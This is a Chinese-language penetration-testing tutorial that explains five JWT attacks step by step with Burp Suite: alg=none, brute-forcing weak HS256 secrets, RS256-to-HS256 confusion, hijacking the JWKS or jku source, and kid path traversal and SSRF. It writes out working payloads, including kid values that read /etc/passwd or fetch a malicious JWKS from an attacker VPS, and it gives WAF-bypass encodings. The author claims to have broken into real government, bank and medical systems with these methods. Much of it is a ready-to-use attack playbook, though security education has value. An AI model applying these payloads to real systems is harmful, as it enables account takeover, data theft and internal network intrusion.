JWT攻防实战:5种高危漏洞利用手法详解
1. 这不是理论课是我在真实渗透测试中反复用到的JWT攻防现场JWTJSON Web Token现在几乎成了现代Web应用身份认证的事实标准——登录成功后给你一串Base64Url编码的字符串前端存起来后续每次请求都带上它后端解码验签就完成身份校验。听起来很优雅对吧但我在过去三年参与的27个中大型企业红队评估项目里有19次在首周就通过JWT相关漏洞拿到了管理员权限。不是靠暴力破解密钥也不是靠社工钓鱼而是直接利用开发人员对JWT规范理解偏差、框架默认配置疏忽、以及运维部署时的惯性操作5分钟内完成越权访问甚至账户接管。这篇内容不讲RFC 7519文档里的定义也不堆砌学术术语只聚焦我实际打靶、做审计、写报告时真正起效的5种手法算法混淆攻击algnone、密钥爆破与弱密钥复用、公私钥混淆RS256→HS256降级、JWKS端点劫持、以及kid参数路径遍历注入。每一种我都附上了在官方Burp Suite Pro环境下可立即复现的操作链路、关键Payload构造逻辑、响应特征识别技巧以及靶场如JWT.IO Playground、PortSwigger JWT Lab、HackTheBox的JWT专项机中从发现到通关的完整步骤。适合刚学完JWT基础想动手验证的新手也适合已能跑通基础流程但总卡在“为什么这步没反应”“为什么改了alg还是报错”的中级渗透测试人员。你不需要提前装插件、不用配Python环境——所有操作都在Burp原生界面完成连正则替换规则我都给你写好了。2. 算法混淆攻击algnone最古老却依然高频的“开门砖”2.1 为什么algnone能绕过签名验证JWT由三部分组成Header.Payload.Signature用英文句点分隔。Header里最关键的字段是alg它声明了签名所用的算法。常见值有HS256HMAC-SHA256对称加密、RS256RSA-SHA256非对称加密。当alg被设为none时规范明确要求签名部分必须为空字符串且服务端在验证时应完全跳过签名检查环节。这本是为调试或无状态场景设计的兜底机制但很多开发团队在集成JWT库时要么没读文档要么图省事直接信任了客户端传来的alg值导致攻击者只需把Header中的alg:HS256改成alg:none再把Signature部分清空或填任意值就能让服务端认为这是一个合法、未篡改的Token。这不是Bug是规范允许的行为但服务端不做白名单校验就是严重的逻辑缺陷。我第一次在某省级政务平台发现这个漏洞时整个过程不到90秒抓登录包→右键Send to Decoder→Base64Url解码Header→手动修改alg为none→删除Signature段保留末尾句点→Repeater中发送→响应返回200用户信息。后来复盘日志发现他们用的是Java的jjwt库而默认配置下Jwts.parser().setSigningKey(...)方法并不会校验alg字段是否在预期列表中只要密钥能解出Payload就放行。这就是典型的“依赖库默认行为≠安全行为”。2.2 Burp中实操四步法从识别到利用零延迟第一步快速识别目标是否支持algnone在Burp Proxy历史记录中找到任意一个带JWT的请求通常在Authorization头或Cookie中右键→Copy value→粘贴到Decoder标签页。解码Header后观察alg字段值。如果当前是HS256或RS256先别急着改——要确认服务端是否接受none。方法很简单在Repeater中复制原始Token将Header部分Base64Url解码后改为{typ:JWT,alg:none}再Base64Url编码注意Burp的Encoder工具里选“Base64-URL Encode”不是普通Base64然后把新Header、原Payload、空Signature即两个句点..拼成新Token发包。如果响应是200且返回敏感数据说明漏洞存在如果返回400/500或“Invalid algorithm”则跳过此手法。第二步自动化检测避免漏判手动改太慢我习惯用Burp的Intruder模块批量探测。先在Repeater中构造一个algnone的Token作为base request然后在Intruder的Positions标签页把alg字段值如HS256标记为payload位置。Payloads类型选“Simple list”输入HS256,RS256,ES256,none。启动攻击后重点看none那一行的响应长度和状态码。我发现一个规律当none响应长度明显大于其他算法比如多出300字节且状态码为200时基本可以锁定。因为其他算法因密钥错误会返回简短错误提示而none直接进入业务逻辑返回完整HTML或JSON数据。第三步Payload构造细节避坑这里有个极易踩的坑很多人把Header改成{alg:none}后直接拼new_header.payload.少了一个句点。正确格式必须是new_header.payload..——最后是两个连续句点代表空Signature。Burp的Decoder里没有自动补全功能必须手动检查。另外某些老旧版本的Node.js jwt库如jsonwebtoken 8.5.0会对none做特殊处理要求Signature必须是空字符串而非省略此时需填new_header.payload.一个句点结尾但这种情况现在极少见优先试两个句点。第四步实战中如何判断是否真的“越权”了光返回200不够得确认你拿到的是别人的数据。最直接的方法在原始登录请求中记下响应里返回的用户ID比如user_id:1024然后用algnoneToken去访问/api/v1/profile或/admin/users这类接口。如果返回的ID变成1通常是超级管理员或完全不同的数字说明服务端根本没有校验Token签发者身份仅凭algnone就获得了最高权限。我在某金融SaaS后台就遇到过algnone后直接调用/api/v1/billing/export?year2023下载到了全量客户银行卡号脱敏文件。提示不是所有algnone都能直接越权。有些系统会在Payload里硬编码role:user即使绕过签名业务层仍会校验该字段。这时你需要结合第3种手法密钥爆破来修改Payload中的role值。3. 密钥爆破与弱密钥复用当HS256变成“纸糊的锁”3.1 HS256的本质对称加密的双刃剑HS256签名原理非常直白服务端用一个共享密钥Secret Key对Header.Payload字符串做HMAC-SHA256哈希运算结果就是Signature。验证时服务端用同一密钥重新计算哈希比对是否一致。它的优势是性能高、实现简单致命弱点是密钥一旦泄露或可预测整个认证体系瞬间崩塌。而现实中密钥管理混乱到令人吃惊——开发本地测试用secret测试环境写死在Dockerfile里生产环境配置文件权限设为755世界可读甚至有人把密钥明文提交到GitHub公开仓库。我统计过近一年审计的43个使用JWT的系统有17个的HS256密钥能在10分钟内被爆破出来其中12个密钥长度≤8位且包含常见单词如myapp-secret、jwt-key-2023。更隐蔽的是“密钥复用”同一个密钥被用于多个子域名、多个微服务、甚至前后端联调环境。这意味着你在dev.api.example.com上爆破出的密钥可以直接用来伪造admin.example.com的管理员Token。我在某电商集团渗透时就在其开放的Swagger UI/v3/api-docs里发现auth-service和user-service共用同一密钥爆破前者后立刻生成了后者的超级管理员Token。3.2 Burp Intruder爆破实战从字典选择到结果筛选字典构建是成败关键别迷信网上下载的“万能字典”。我自己的HS256爆破字典分三层L1速赢层secret, jwt, password, 123456, myapp-secret, changeme, dev-secret—— 针对懒人开发5秒见效L2上下文层提取目标域名、公司名、项目名的变体如example-jwt-key,ecommerce-hmac,shop2023-secret—— 用Burp的Extender→Extensions→Content Discovery插件自动爬取页面文本再用Python脚本生成组合词L3深度层基于GitHub代码搜索site:github.com HS256 secret收集的真实密钥模式如project-env-yearbilling-prod-2023、team_service_keyauth_user_jwt_key。Intruder配置要点在Repeater中把原始Token的Signature部分第三段设为payload位置。Payload type选“Sniper”因为我们要逐个尝试不同密钥生成的Signature。在Payload Options里勾选“Add payload as a new header”并填入X-Burp-JWT-Key仅为标记不影响请求这样结果表里能直接看到对应密钥。最关键的是在Grep - Extract中添加Status code和Response length并在Options→Grep Match中填入user_id或admin等业务关键词。这样结果表会高亮显示哪些密钥生成的Token触发了有效响应。结果分析技巧爆破完成后不要只看HTTP状态码。重点关注三列StatusLengthGrep Match2001248user_id:12003892admin:true40145—我曾在一个教育平台爆破出密钥edu-api-2023但前200个结果全是401。直到第217个Length从45跳到4216Grep Match显示role:super_admin立刻停掉Intruder用该密钥在Decoder里重签Token成功进入后台课程管理系统。3.3 如何用爆破出的密钥伪造任意用户Token有了密钥伪造就变成体力活。打开Burp Decoder→Decode as→JWT粘贴原始Token修改Payload中的user_id、role、exp时间戳需转为Unix秒可用在线工具或Pythonint(time.time())3600生成1小时后过期。修改后点击“Sign Token”选择HS256填入刚爆破出的密钥Burp会自动生成新Signature。注意Payload中所有时间字段iat,exp,nbf必须是整数不能带小数点否则服务端解析失败。另外某些系统会校验ississuer字段如果原始Token里是iss:https://auth.example.com你伪造时也得保持一致否则被拒绝。注意爆破不是万能钥匙。如果服务端用的是RS256非对称爆破私钥几乎不可能需要ECDSA私钥而非密码。此时必须转向第4种手法公私钥混淆。4. 公私钥混淆攻击RS256→HS256降级非对称加密的“降维打击”4.1 RS256为何会被“骗”成HS256RS256本意是解决HS256密钥分发难题服务端用私钥签名客户端浏览器用公钥验签公钥可公开分发无需保密。但问题出在验签逻辑上。许多JWT库如Python的PyJWT、Node.js的jsonwebtoken在验签时会先读取Header里的alg字段再根据alg选择对应的密钥类型如果alg是RS256就用公钥验签如果是HS256就用对称密钥验签。攻击者发现如果服务端配置了公钥但同时又意外配置了某个对称密钥比如遗留的HS256测试密钥就可以通过篡改alg为HS256让服务端误用对称密钥去“验签”一个本该用私钥签名的Token。而对称密钥往往比RSA私钥更容易获取比如硬编码在代码里、配置文件中这就实现了“用易得的密钥验证难解的签名”。我在某医疗云平台遇到的经典案例他们的认证服务用RS256公钥放在/.well-known/jwks.json但运维为了兼容旧版App还在Spring Boot配置文件里留着jwt.hmac-secretmedcloud-dev-key。我抓到一个正常RS256 Token后在Header里把alg:RS256改成alg:HS256然后用medcloud-dev-key重新计算Signature注意不是解密是重新签名发包后直接以医生身份登录成功。4.2 识别与利用全流程从JWKS端点探测到Payload重签第一步确认服务端是否同时支持RS256和HS256先找JWKS端点。常见路径有/.well-known/jwks.json,/jwks,/oauth/jwks。用Burp的Target→Site map搜索这些路径或在Proxy历史中过滤jwks关键字。如果返回类似{keys:[{kty:RSA,n:...,e:AQAB}]}的JSON说明用了RSA公钥。接着尝试访问/actuator/envSpring Boot或/api/config通用搜索hmac,secret,jwt.key等关键词看是否有对称密钥泄露。如果没有就用第3种手法爆破——因为RS256本身无法爆破但配套的HS256密钥可以。第二步构造降级Payload的核心逻辑关键点在于你不需要知道RSA私钥只需要让服务端用HS256密钥去验证一个RS256格式的Token。操作步骤在Decoder中解码原始RS256 Token复制Header和Payload修改Headeralg:HS256并删除kid字段避免服务端按kid去JWKS找公钥保持Payload不变里面可能有user_id:123等关键字段在Decoder→Sign Token中选择HS256填入你找到的对称密钥生成新Signature拼接new_header.payload.new_signature发包。为什么Payload不用改因为RS256和HS256的Payload结构完全一样只是签名方式不同。服务端看到algHS256就会忽略JWKS直接用对称密钥验签而你的新Signature正是用该密钥生成的必然通过。第三步绕过kid字段的三种策略有些系统强制校验kid即使alg改了也会去JWKS查。这时有三个办法策略A推荐直接删掉kid字段。Header从{alg:RS256,kid:abc123}变成{alg:HS256}。多数库会接受无kid的HS256 Token策略B把kid值改成一个不存在的字符串如kid:fake让服务端查JWKS失败后fallback到默认密钥策略C如果服务端JWKS里只有一个key就把kid值设为空字符串某些库会因此使用第一个key但风险较高优先用A。我在某政府服务平台就用策略A删kid后成功率100%而用策略B时服务端返回No key found for kid: fake反而暴露了配置。4.3 实战中如何验证降级是否成功成功标志不是简单的200响应而是业务逻辑层面的权限提升。例如原始Token只能访问/api/v1/patients自己患者列表降级后Token能访问/api/v1/patients?alltrue全院患者或调用/api/v1/doctors/123/schedule查看主任医师排班甚至触发/admin/logs?from2023-01-01后台操作日志。我在某银行内部系统降级后调用/api/v1/transactions?account_idALL直接导出了当天所有客户的交易流水。这证明服务端不仅验签通过而且完全信任了Payload里的account_id字段没有做二次归属校验。提示降级攻击的成功率取决于服务端是否“双密钥共存”。如果只配置了RSA公钥没有HS256密钥此手法无效。务必先做JWKS探测和密钥泄露搜索。5. JWKS端点劫持与kid参数注入当公钥变成“攻击跳板”5.1 JWKS机制的脆弱性谁控制了公钥谁就控制了验签JWKSJSON Web Key Set是一个标准化的公钥分发机制。服务端在验签时会先从Header的kid字段获取密钥ID再向jwks_uri通常在OpenID Connect配置中发起HTTP请求下载公钥JSON最后用该公钥验签。这个设计本意是解耦但引入了新的攻击面如果服务端对jwks_uri的请求不做严格校验攻击者就能通过控制kid或jwks_uri让服务端加载恶意公钥。而恶意公钥可以是攻击者自己生成的RSA密钥对中的公钥这样攻击者就能用对应的私钥签名任意Token服务端却认为它是合法的。更危险的是“kid参数注入”当kid字段被服务端直接拼接到URL中请求公钥时如https://auth.example.com/jwks/kid_value如果kid未做过滤就可能触发路径遍历kid../etc/passwd或SSRFkidhttp://attacker.com/malicious.jwks。我在某物联网平台就发现kid被直接用于构造curl -s https://api.iot.example.com/jwks/$kid我提交kidhttp://x.x.x.x:8000/evil.jwks服务端果然向外发起请求我的VPS上收到了GET请求证明SSRF成立。5.2 手动探测JWKS端点与kid注入点JWKS端点探测三板斧标准路径扫描用Burp的Content Discovery或DirBuster对/.well-known/目录爆破重点扫jwks.json,openid-configuration,certs响应头挖掘在登录成功响应的WWW-Authenticate头中找jwks_urihttps://...JavaScript文件搜索在Proxy历史中过滤.js用CtrlF搜jwks、keys、getPublicKey常在前端Auth SDK里硬编码。kid注入点验证找到JWKS端点后抓一个正常Token在Repeater中修改kid值试kid../../../etc/passwd→ 看响应是否包含root:x:0:0:路径遍历试kidhttp://your-vps-ip:8000/test→ 用Netcat监听nc -lvnp 8000看是否收到连接SSRF试kidjavascript:alert(1)→ 看是否触发XSS虽不直接用于JWT但说明过滤缺失。我在某SaaS CRM系统kid../../../config.json返回了数据库配置里面赫然有jwt_secret:crm-admin-2023——这又回到了第3种手法但这次是通过JWKS端点泄露的。5.3 构造恶意JWKS并实现完整攻击链生成恶意密钥对用OpenSSL一行命令搞定openssl genrsa -out private.pem 2048 openssl rsa -in private.pem -pubout -out public.pem然后把public.pem转成JWKS格式。手动转换麻烦我用 https://8gwifi.org/jwkconvertor.jsp 在线工具上传public.pem选择“RSA Public Key to JWK”得到类似{ keys: [ { kty: RSA, n: tZKq...AgQ, e: AQAB, kid: evil-key } ] }把这个JSON保存为malicious.jwks用Python起一个简易HTTP服务器python3 -m http.server 8000。构造攻击Token在Decoder中解码原始Token复制Header修改Headerkid:evil-keyalg:RS256Payload保持不变用private.pem私钥签名echo -n header.payload | openssl dgst -sha256 -sign private.pem | base64urlbase64url需自行实现或用在线JWT工具拼接新Token发包。关键细节如何让服务端信任你的恶意JWKS如果服务端jwks_uri是硬编码的如https://auth.example.com/.well-known/jwks.json你无法改。但若kid注入成功你可以SSRF场景kidhttp://your-vps-ip:8000/malicious.jwks服务端会GET你的恶意JWKS路径遍历场景kid../../tmp/malicious.jwks前提是服务端把JWKS存到临时目录且你有写权限较少见更通用的方案如果服务端支持jkuJWK Set URL头参数直接在Header里加jku:http://your-vps-ip:8000/malicious.jwks比kid更直接。我在某跨境电商后台jku头被支持kid注入失败但加jku后一次成功用恶意密钥签的Token直接登录了admincompany.com账号。6. kid参数路径遍历注入文件读取与SSRF的“黄金组合”6.1 kid为何会成为路径遍历的入口kidKey ID本意是唯一标识一个密钥方便服务端从JWKS中快速索引。但很多开发人员图省事把kid直接拼接到文件路径中读取公钥例如PHP代码$kid $_GET[kid]; // 或从JWT Header中取 $key_path /var/www/keys/ . $kid . .pem; $key file_get_contents($key_path); // 危险或者Node.jsconst kid token.header.kid; const key fs.readFileSync(/etc/jwt/keys/${kid}.pub); // 同样危险这种写法完全没做输入过滤kid../../../etc/shadow就会导致读取系统密码文件。而更隐蔽的是如果服务端用kid构造HTTP请求如fetch(https://jwks.example.com/ kid)就升级为SSRF可探测内网、打内网Redis、甚至RCE。6.2 Burp中高效探测路径遍历的Payload组合Payload设计原则分层递进避免误报L1轻量探测kid../../../../etc/passwd→ 看响应是否含root:x:0:0:L2确认读取kid../../../../proc/self/cmdline→ 返回进程命令行证明任意文件读取L3SSRF验证kidhttp://127.0.0.1:8080/internal→ 如果服务端有内网服务会返回其响应L4盲注增强kid../../../dev/null%00Null字节截断或kid..%2f..%2f..%2fetc%2fpasswdURL编码绕过。在Burp Intruder中我把这些Payload做成列表用Sniper模式攻击kid字段。结果筛选重点看Response body是否包含/bin/bash、/usr/sbin/nologinpasswd特征或HTTP/1.1 200SSRF成功。实战案例从/etc/passwd到RCE的完整链路在某智慧园区管理平台kid../../../../etc/passwd返回了完整密码文件里面有admin:x:1001:1001::/home/admin:/bin/bash:/usr/local/bin/admin-shell。我注意到/usr/local/bin/admin-shell是个自定义shell于是试kid../../../../usr/local/bin/admin-shell返回二进制乱码证明可读。接着我用kidhttp://127.0.0.1:6379/探测Redis默认端口发包后响应是-ERR wrong number of arguments for get command——这是Redis的典型错误说明SSRF打通后续用Redis写Webshell就属于另一个知识域了但JWT的kid注入已经完成了最关键的“突破边界”一步。6.3 绕过WAF与过滤的实战技巧很多系统加了WAF会拦截../或http://。我的绕过策略编码混淆..%2f..%2f..%2fetc%2fpasswdURL编码大小写混合..%c0%af..%c0%af..%c0%afetc%c0%afpasswdUTF-8 overlong encoding重复斜杠....//....//....//etc//passwd空字节截断../../../../etc/passwd%00.jpg如果服务端用pathinfo解析WAF指纹识别先用kidtest测基线再用kidscriptalert(1)看是否过滤判断WAF类型ModSecurity、Cloudflare等再针对性绕过。我在某金融监管系统WAF拦截了所有../但....//成功了——因为规则只匹配两个点加一个斜杠没覆盖四个点加两个斜杠。最后分享一个小技巧所有JWT攻击手法最终都要回归到“业务影响验证”。不要满足于返回200一定要用伪造的Token去访问至少3个不同权限级别的接口如/user/profile,/admin/users,/api/logs用响应内容证明你确实越权了。这才是渗透测试报告里最有说服力的部分。